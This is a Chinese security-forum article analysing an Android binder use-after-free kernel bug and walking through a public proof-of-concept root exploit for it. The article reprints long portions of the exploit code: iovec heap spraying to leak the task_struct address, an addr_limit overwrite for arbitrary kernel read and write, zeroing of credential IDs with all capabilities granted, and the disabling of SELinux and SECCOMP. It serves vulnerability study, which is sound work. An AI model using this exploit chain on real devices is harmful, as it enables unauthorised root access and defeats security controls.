本文为看雪论坛精华文章
看雪论坛作者ID:amzilun
一、漏洞简述
二、漏洞复现
三、漏洞原理和崩溃分析
崩溃报告为:https://groups.google.com/g/syzkaller-bugs/c/QyXdgUhAF50/m/g-FXVo1OAwAJ。
看一下崩溃时的调用栈:
Call Trace:
...
__lock_acquire+0x465e/0x47f0 kernel/locking/lockdep.c:3378
lock_acquire+0x1d5/0x580 kernel/locking/lockdep.c:4004
__raw_spin_lock_irqsave include/linux/spinlock_api_smp.h:110 [inline]
_raw_spin_lock_irqsave+0x96/0xc0 kernel/locking/spinlock.c:159
remove_wait_queue+0x81/0x350 kernel/sched/wait.c:50
ep_remove_wait_queue fs/eventpoll.c:595 [inline]
ep_unregister_pollwait.isra.7+0x18c/0x590 fs/eventpoll.c:613
ep_free+0x13f/0x320 fs/eventpoll.c:830
ep_eventpoll_release+0x44/0x60 fs/eventpoll.c:862
__fput+0x333/0x7f0 fs/file_table.c:210
____fput+0x15/0x20 fs/file_table.c:244
task_work_run+0x199/0x270 kernel/task_work.c:113
exit_task_work include/linux/task_work.h:22 [inline]
do_exit+0x9bb/0x1ae0 kernel/exit.c:865
do_group_exit+0x149/0x400 kernel/exit.c:968
SYSC_exit_group kernel/exit.c:979 [inline]
SyS_exit_group+0x1d/0x20 kernel/exit.c:977
do_syscall_32_irqs_on arch/x86/entry/common.c:327 [inline]
do_fast_syscall_32+0x3ee/0xf9d arch/x86/entry/common.c:389
entry_SYSENTER_compat+0x51/0x60 arch/x86/entry/entry_64_compat.S:125
我们通过调用栈找到源代码来看一下:
void remove_wait_queue(struct wait_queue_head *wq_head, struct wait_queue_entry *wq_entry)
{
unsigned long flags;
spin_lock_irqsave(&wq_head->lock, flags);
__remove_wait_queue(wq_head, wq_entry);
spin_unlock_irqrestore(&wq_head->lock, flags);
}
第二行__remove_wait_queue字面上看是移除出等待队列,但还没来得及移除什么东西就崩溃在spin_lock_irqsave里了,应改是&wq_head->lock这里有问题。如果wq_head->lock是被漏洞给改错了问题也不大,因为最多是死锁,而这里却是崩溃。
Allocated by task 3086:
...
binder_get_thread+0x1cf/0x870 drivers/android/binder.c:4184
binder_poll+0x8c/0x390 drivers/android/binder.c:4286
ep_item_poll.isra.10+0xec/0x320 fs/eventpoll.c:884
ep_insert+0x6a3/0x1b10 fs/eventpoll.c:1455
SYSC_epoll_ctl fs/eventpoll.c:2106 [inline]
...
Freed by task 3086:
...
__cache_free mm/slab.c:3491 [inline]
kfree+0xca/0x250 mm/slab.c:3806
binder_free_thread drivers/android/binder.c:4211 [inline]
binder_thread_dec_tmpref+0x27f/0x310 drivers/android/binder.c:1808
binder_thread_release+0x27d/0x540 drivers/android/binder.c:4275
binder_ioctl+0xc05/0x141a drivers/android/binder.c:4492
..
从调用栈只能看出系统调用了epoll_ctl分配内存,调用了binder_ioctl释放了内存,自旋锁崩溃发生在remove_wait_queue,即调用了do_exit程序正常退出时,虽然看不出来传了什么具体参数,但已经提供了足够的信息。
我们不妨猜测:正常情况下是epoll_ctl创建了一个内核对象,线程退出后执行do_exit自动清理该对象,binder_ioctl是恶意操作并导致内存被提前释放,等线程真正退出时由于内存已经被释放,检查对象内的自旋锁状态时就直接崩溃。
git的提交记录验证了这个猜想:https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/drivers/android/binder.c?h=linux-4.14.y&id=7a3cee43e935b9d526ad07f20bf005ba7e74d05b
里面给出了官方的解释,非常清晰:
binder_poll() passes the thread->wait waitqueue that can be slept on for work. When a thread that uses epoll explicitly exits using BINDER_THREAD_EXIT,the waitqueue is freed, but it is never removed from the corresponding epoll data structure. When the process subsequently exits, the epoll cleanup code tries to access the waitlist, which results in a use-after-free. Prevent this by using POLLFREE when the thread exits.
static void binder_free_thread(struct binder_thread *thread)
{
BUG_ON(!list_empty(&thread->todo));
binder_stats_deleted(BINDER_STAT_THREAD);
binder_proc_dec_tmpref(thread->proc);
kfree(thread);
}
看到最后一行kfree(thread)释放的是thread所以UAF对象是一个binder_thread类型的结构体。
这份报告还给出了触发崩溃的过程:
#{Threaded:false Collide:false Repeat:false Procs:1 Sandbox: Fault:false FaultCall:-1 FaultNth:0 EnableTun:false UseTmpDir:false HandleSegv:false WaitRepeat:false Debug:false Repro:false}
mmap(&(0x7f0000000000/0xfff000)=nil, 0xfff000, 0x3, 0x32, 0xffffffffffffffff, 0x0)
r0 = syz_open_dev$binder(&(0x7f0000001000)="2f6465762f62696e6465722300", 0x0, 0x0)
r1 = epoll_create(0x10001)
epoll_ctl$EPOLL_CTL_ADD(r1, 0x1, r0, &(0x7f0000337000-0xc)={0x2019, 0x0})
ioctl$BINDER_THREAD_EXIT(r0, 0x40046208, 0x0)
四、POC的整体架构
struct stage_t stages[] = {
{prepare_globals, "startup"},
{find_current, "find kernel address of current task_struct"},
{obtain_kernel_rw, "obtain arbitrary kernel memory R/W"},
{find_kernel_base, "find kernel base address"},
{patch_creds, "bypass SELinux and patch current credentials"},
{launch_shell, NULL},
{launch_debug_console, NULL},
};
void execute_stage(int stage_idx) {
stage_desc = stages[stage_idx].desc;
(*stages[stage_idx].func)();
...
}
int main(int argc, char *argv[]) {
...
execute_stage(0); /* prepare_globals() */
execute_stage(1); /* find_current() */
execute_stage(2); /* obtain_kernel_rw() */
execute_stage(3); /* find_kernel_base() */
...
}
五、初始化:prepare_globals
void prepare_globals(void) {
pid = getpid();
struct utsname kernel_info;
if (uname(&kernel_info) == -1)
err(1, "determine kernel release");
if (strcmp(kernel_info.release, "4.4.177-g83bee1dc48e8"))
warnx("kernel version-BuildID is not '4.4.177-g83bee1dc48e8'");
dummy_page = mmap((void *)0x100000000ul, 2 * PAGE_SIZE,
PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (dummy_page != (void *)0x100000000ul)
err(1, "mmap 4g aligned");
if (pipe(kernel_rw_pipe))
err(1, "kernel_rw_pipe");
binder_fd = open("/dev/binder", O_RDONLY);
epoll_fd = epoll_create(1000);
}
六、内核信息泄漏:find_current
这一步是利用漏洞泄漏出task_struct结构体的内存地址。task_struct是用于描述整个进程的,这个结构体超级大,他就相当于是Windows下的EPROCESS结构体,重要性可见一斑。
我会仔细分析每一段代码的含义,先从find_current开头,初始化epoll开始。
epoll_fd = epoll_create(1000);
struct epoll_event event = {.events = EPOLLIN};
if (epoll_ctl(epoll_fd, EPOLL_CTL_ADD, binder_fd, &event))
err(1, "epoll_add");
epoll是啥?关于epoll简单科普下。IO多路复用中最常用的是seclect,poll,epoll三个函数族,redis,ngix等大名鼎鼎的框架之所以能有极高的并发处理能力离不开对epoll的使用。这三族函数的作用,都是监听文件里有没有数据的,如果有数据就返回,否则就一直阻塞(但可以设置阻塞/非阻塞,以及超时时间)。
接下来这部分就很神奇了,关于UAF类漏洞一个比较通用的利用方法:iovec方法,是POC的核心技术.因为没有官方说法所以姑且这么叫,这是腾讯Keen实验室的大神研究员 Di Shen 在https://www.youtube.com/watch?v=U2qvK1hJ6zg&t=1618s 里公布的攻击方法。下面这几行代码包含的信息量是巨大的:
binder_iovecs bio;
memset(&bio, 0, sizeof(bio));
bio.iovs[iov_idx].iov_base = dummy_page; /* spinlock in the low address half must be zero */
bio.iovs[iov_idx].iov_len = PAGE_SIZE; /* wq->task_list->next */
bio.iovs[iov_idx + 1].iov_base = (void *)0xdeadbeef; /* wq->task_list->prev */
bio.iovs[iov_idx + 1].iov_len = PAGE_SIZE;
先解释下向量化IO:它属于linux的高级IO,即可以一次性的从多个缓冲区读出数据并写入到数据流,又能数据流读出数据一次性写入多个缓冲区,而上述操作都只经过一次系统调用因此大大缩小了系统的开销。
应用场景如,我拿到了一个http数据包,我想把包里的请求行,请求头,请求体分别放到buf1,buf2,buf3,用这个就能一步到位,高效处理网络流量。而POC里设置了基址是dummy_page,大小是PAGE_SIZE和基址是(void *)0xdeadbeef,大小是PAGE_SIZE两个有效的iovec结构体,其余没用,都是基址是0大小也是0。
The buggy address belongs to the object at ffff8801cd8e1340 which belongs tothe cache kmalloc-512 of size 512 The buggy address is located 176 bytes inside of 512-byte region [ffff8801cd8e1340, ffff8801cd8e1540)
struct iovec { // Size: 0x10
void *iov_base; // 0x00
size_t iov_len; // 0x08
}
4. iovec数组会被全部拷贝到内核,可以用来占用内核内存的。
还有一个问题,那为什么要给POC中iovec设置了两个如此奇怪的内存区域,一个是从dummy_page开始,大小是PAGE_SIZE,以及从0xdeadbeef开始大小为PAGE_SIZE。
dummy_page之前已经确认是0x100000000ul了,那0xdeadbeef是啥,死牛肉?这虽然是一个合法的二进制数但肯定不是一个合法的内存地址。说明这个数,应该目前只是一个占位符,只是为了能编译通过,后面肯定会被漏洞程序在运行时改写成一个合法的地址。那咋改写的?改写成啥了呢?接着看后面的代码:
int pipe_fd[2];
if (pipe(pipe_fd))
err(1, "pipe");
if (fcntl(pipe_fd[0], F_SETPIPE_SZ, PAGE_SIZE) != PAGE_SIZE)
err(1, "pipe size");
static char page_buffer[PAGE_SIZE];
pid = fork();
if (pid == -1)
err(1, "fork");
if (pid == 0) {
/* Child process */
prctl(PR_SET_PDEATHSIG, SIGKILL);
sleep(2);
epoll_ctl(epoll_fd, EPOLL_CTL_DEL, binder_fd, &event);
// first page: dummy data.it's read,not readv
printf("child:read begin\n");
if (read(pipe_fd[0], page_buffer, PAGE_SIZE) != PAGE_SIZE)
err(1, "read full pipe");
printf("child:read finish\n");
printf("page buff1 %s\n");
close(pipe_fd[1]);
exit(0);
}
ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
printf("father:writev begin\n");
ssize_t writev_ret = writev(pipe_fd[1], bio.iovs, iovs_sz);
printf("father:writev endn");
if (writev_ret != (ssize_t)(2 * PAGE_SIZE))
errx(1, "writev() returns 0x%lx, expected 0x%lx\n",
writev_ret, (ssize_t)(2 * PAGE_SIZE));
// second page: leaked data
printf("father:read begin\n");
if (read(pipe_fd[0], page_buffer, PAGE_SIZE) != PAGE_SIZE)
printf("father:read finish\n");
err(1, "read full pipe");
printf("page buff2 %s\n");
pid_t status;
if (wait(&status) != pid)
err(1, "wait");
int pipe_fd[2];
if (pipe(pipe_fd))
err(1, "pipe");
if (fcntl(pipe_fd[0], F_SETPIPE_SZ, PAGE_SIZE) != PAGE_SIZE)
err(1, "pipe size");
static char page_buffer[PAGE_SIZE];
另外管道是读阻塞的,意味着如果不往里写数据,读操作会一直卡住。fcntl(pipe_fd[0], F_SETPIPE_SZ, PAGE_SIZE)用来设置管道的大小为一个页大小,linux 2.6.11前管道默认是一个页大小,之后默认是16个页,只需对pipe_fd[0]读端设置,写端无需设置,该设置至关重要,后面会讲。
pid = fork();
...
if (pid == 0) {
prctl(PR_SET_PDEATHSIG, SIGKILL);
sleep(2);
...
}
用pid = fork()创建子进程后,子进程从prctl(PR_SET_PDEATHSIG, SIGKILL)继续执行,prctl表示父进程一旦退出则发送SIGKILL信号给子进程让子进程也退出并自动回收子进程资源。接着子进程执行sleep(2)进入休眠。这个休眠时间很长,长到父进程一定会执行到结尾,或者直到发生阻塞,子进程才会继续执行。
ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
ssize_t writev_ret = writev(pipe_fd[1], bio.iovs, iovs_sz);
解除阻塞的读操作肯定是发生在子进程的,因为父进程已经动弹不得了。子进程的read操作:
if (read(pipe_fd[0], page_buffer, PAGE_SIZE) != PAGE_SIZE) /*child read*/
bio.iovs[iov_idx + 1].iov_base = (void *)0xdeadbeef; /* wq->task_list->prev */
bio.iovs[iov_idx + 1].iov_len = PAGE_SIZE;
if (writev_ret != (ssize_t)(2 * PAGE_SIZE)) /*parent read*/
...
if (read(pipe_fd[0], page_buffer, PAGE_SIZE) != PAGE_SIZE)
printf("father:read finish\n");
err(1, "read full pipe");
然后父进程再读read(pipe_fd[0], page_buffer, PAGE_SIZE)读到的就是内核数据了。那么为何阻塞以及何时解除阻塞就介绍到这,接下来重点是,bio.iovs[iov_idx + 1].iov_base被改写内核地址的,也就是UAF过程。
UAF过程离不开两个关键操作:占位UAF对象,以及把UAF摘出链表。
1. 占位UAF对象:释放UAF发生在父进程执行时:
ioctl(binder_fd, BINDER_THREAD_EXIT, NULL)
ssize_t writev_ret = writev(pipe_fd[1], bio.iovs, iovs_sz)
子进程会执行
epoll_ctl(epoll_fd, EPOLL_CTL_DEL, binder_fd, &event)
void remove_wait_queue(struct wait_queue_head *wq_head, struct wait_queue_entry *wq_entry)
{
unsigned long flags;
spin_lock_irqsave(&wq_head->lock, flags);
__remove_wait_queue(wq_head, wq_entry);
spin_unlock_irqrestore(&wq_head->lock, flags);
}
EXPORT_SYMBOL(remove_wait_queue);
和上次不同,这次执行spin_lock_irqsave(&wq_head->lock, flags)时,由于分配给binder_thread的kmalloc-512内存块被iovec结构体数组复用,所以访问&wq_head->lock就不崩溃了。
但还得保证能拿到锁,这样代码才能进临界区,而dummy_page低四字节和锁重合且全部为0,相当与锁的值是0,就能bypass自旋锁校验了。所以mmap才会选择0x100000000作为地址的“暗示”,他保证了8字节自旋锁的低4字节开始必须是0。
接下来我们需要深入__remove_wait_queue,看看断链的过程是怎样的。
struct binder_thread {
struct binder_proc *proc;
struct rb_node rb_node;
int pid;
int looper;
struct binder_transaction *transaction_stack;
struct list_head todo;
uint32_t return_error; /* Write failed, return error code in read buf */
uint32_t return_error2; /* Write failed, return error code in read */
/* buffer. Used when sending a reply to a dead process that */
/* we are also waiting on */
wait_queue_head_t wait; //typedef struct __wait_queue_head wait_queue_head_t;
struct binder_stats stats;
};
struct __wait_queue_head {
spinlock_t lock;
struct list_head task_list;
};
struct wait_queue_entry {
unsigned int flags;
void *private;
wait_queue_func_t func;
struct list_head entry;
};
struct wait_queue_head {
spinlock_t lock;
struct list_head head;
};
struct list_head {
struct list_head *next, *prev;
};
__remove_wait_queue(struct wait_queue_head *wq_head, struct wait_queue_entry *wq_entry)
{
list_del(&wq_entry->entry);
}
static inline void list_del(struct list_head *entry)
{
__list_del_entry(entry);
entry->next = LIST_POISON1; //#define LIST_POISON1 ((void *) 0x00100100)
entry->prev = LIST_POISON2; //#define LIST_POISON2 ((void *) 0x00200200)
}
static inline void __list_del_entry(struct list_head *entry)
{
if (!__list_del_entry_valid(entry))
return;
__list_del(entry->prev, entry->next);
}
static inline void __list_del(struct list_head * prev, struct list_head * next)
{
next->prev = prev;
WRITE_ONCE(prev->next, next);
}/*注意内核源码里__list_del的重名函数太多了,千万别找错,只有/include/linux/list.h这个里才是正确的*/
#define WRITE_ONCE(x, val) \
({ \
union { typeof(x) __val; char __c[1]; } __u = \
{ .__val = (__force typeof(x)) (val) }; \
__write_once_size(&(x), __u.__c, sizeof(x)); \
__u.__val; \
})
remove_wait_queue的两个参数中,struct wait_queue_head *wq_head ,他是一个指向了binder_thread的成员变量wait_queue_head wait 的指针,wait_queue_head是epoll等待链表的链表头。
struct list_head {
struct list_head *next, *prev;
};
整个wait_queue队列里除了头部外,就是wait_queue_entry,当只有一个wait_queue_entry时,他们两个是类似“环状”,像”拥抱“一样彼此关联。调用epoll_ctl(epoll_fd, EPOLL_CTL_DEL, binder_fd, &event)摘链表,实际是调用的代码是:
static inline void list_del(struct list_head *entry)
{
__list_del_entry(entry);
entry->next = LIST_POISON1; //#define LIST_POISON1 ((void *) 0x00100100)
entry->prev = LIST_POISON2; //#define LIST_POISON2 ((void *) 0x00200200)
}
static inline void __list_del_entry(struct list_head *entry)
{
if (!__list_del_entry_valid(entry))
return;
__list_del(entry->prev, entry->next);
}
static inline void __list_del(struct list_head * prev, struct list_head * next)
{
next->prev = prev;
WRITE_ONCE(prev->next, next);
}
七、实现任意地址读写:obtain_kernel_rw
struct epoll_event event = {.events = EPOLLIN};
if (epoll_ctl(epoll_fd, EPOLL_CTL_ADD, binder_fd, &event))
err(1, "epoll_add");
bio.iovs[iov_idx].iov_base = dummy_page; /* spinlock in the low address half must be zero */
bio.iovs[iov_idx].iov_len = 1; /* wq->task_list->next */
bio.iovs[iov_idx + 1].iov_base = (void *)0xdeadbeef; /* wq->task_list->prev */
bio.iovs[iov_idx + 1].iov_len = 0x8 + 2 * 0x10; /* iov_len of previous, then this element and next element */
bio.iovs[iov_idx + 2].iov_base = (void *)0xbeefdead;
bio.iovs[iov_idx + 2].iov_len = 8; /* should be correct from the start, kernel will sum up lengths when importing */
int socks[2];
if (socketpair(AF_UNIX, SOCK_STREAM, 0, socks))
err(1, "socketpair");
if (write(socks[1], "X", 1) != 1)
err(1, "write socket dummy byte");
总共三个有效的iovec结构体,前两个已经被使用过,重写成什么都无所谓了,关键是第三个iovec,它的base从被(void *)0xbeefdead改成了current + 0x8,len是8。
current指针就是当前进程的task_struct,current + 0x8就是task_struct结构体里的addr_limit,这个字段是一个很重要的宏。
#define access_ok(type, addr, size) __range_ok(addr, size)
八、绕过/禁用安卓内核的4层安全防护机制:find_kernel_base & patch_creds
上述的安全机制看似杂乱无章,但其实都暗藏联系。他们都与一个重要的结构体cred有联系,该结构体位于task_struct结构体内,与权限控制有关的字段全在里面。
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
/* RCU deletion */
union {
int non_rcu; /* Can we skip RCU deletion? */
struct rcu_head rcu; /* RCU deletion hook */
};
} __randomize_layout;
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops *
kwrite_u32(cred_ptr + offsetof(struct cred, uid), 0);
kwrite_u32(cred_ptr + offsetof(struct cred, gid), 0);
kwrite_u32(cred_ptr + offsetof(struct cred, suid), 0);
kwrite_u32(cred_ptr + offsetof(struct cred, sgid), 0);
kwrite_u32(cred_ptr + offsetof(struct cred, euid), 0);
kwrite_u32(cred_ptr + offsetof(struct cred, egid), 0);
kwrite_u32(cred_ptr + offsetof(struct cred, fsuid), 0);
kwrite_u32(cred_ptr + offsetof(struct cred, fsgid), 0);
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
kwrite_u64(cred_ptr + offsetof(struct cred, cap_inheritable), ~(u64)0);
kwrite_u64(cred_ptr + offsetof(struct cred, cap_permitted), ~(u64)0);
kwrite_u64(cred_ptr + offsetof(struct cred, cap_effective), ~(u64)0);
kwrite_u64(cred_ptr + offsetof(struct cred, cap_bset), ~(u64)0);
kwrite_u64(cred_ptr + offsetof(struct cred, cap_ambient), ~(u64)0);
Linux version 4.4.177-g83bee1dc48e8 (android-build@abfarm-us-west1-c-0087) (Android (5484270 based on r353983c) clang version 9.0.3 (https://android.googlesource.com/toolchain/clang 745b335211bb9eadfa6aa6301f84715cee4b37c5) (https://android.googlesource.com/toolchain/llvm 60cf23e54e46c807513f7a36d0a7b777920b5881) (based on LLVM 9.0.3svn)) #1 SMP PREEMPT ...
[+]kallsyms_arch = arm64
[!]could be offset table...
[!]lookup_address_table error...
[!]get kallsyms error...
#define SYMBOL__selinux_enforcing 0x23ce4a8
unsigned int enforcing = kernel_read_uint(kernel_base + SYMBOL__selinux_enforcing);
printf("SELinux status = %u\n", enforcing);
if (enforcing) {
printf("Setting SELinux to permissive\n");
kernel_write_uint(kernel_base + SYMBOL__selinux_enforcing, 0);
} else {
printf("SELinux is already in permissive mode\n");
}
struct seccomp {
int mode;
struct seccomp_filter *filter;
};
#define OFFSET__task_struct__thread_info__flags 0 // if CONFIG_THREAD_INFO_IN_TASK is defined
// Grant: SECCOMP isn't enabled when running the poc from ADB, only from app contexts
if (prctl(PR_GET_SECCOMP) != 0) {
printf("Disabling SECCOMP\n");
// clear the TIF_SECCOMP flag and everything else :P (feel free to modify this to just clear the single flag)
// arch/arm64/include/asm/thread_info.h:#define TIF_SECCOMP 11
kernel_write_ulong(current_ptr + OFFSET__task_struct__thread_info__flags, 0);
kernel_write_ulong(current_ptr + OFFSET__task_struct__cred + 0xa8, 0);
kernel_write_ulong(current_ptr + OFFSET__task_struct__cred + 0xa0, 0); // this offset was eyeballed
if (prctl(PR_GET_SECCOMP) != 0) {
printf("Failed to disable SECCOMP!\n");
exit(1);
} else {
printf("SECCOMP disabled!\n");
}
} else {
printf("SECCOMP is already disabled!\n");
}
九、其他步骤
十、参考资料
看雪ID:amzilun
https://bbs.pediy.com/user-home-803510.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!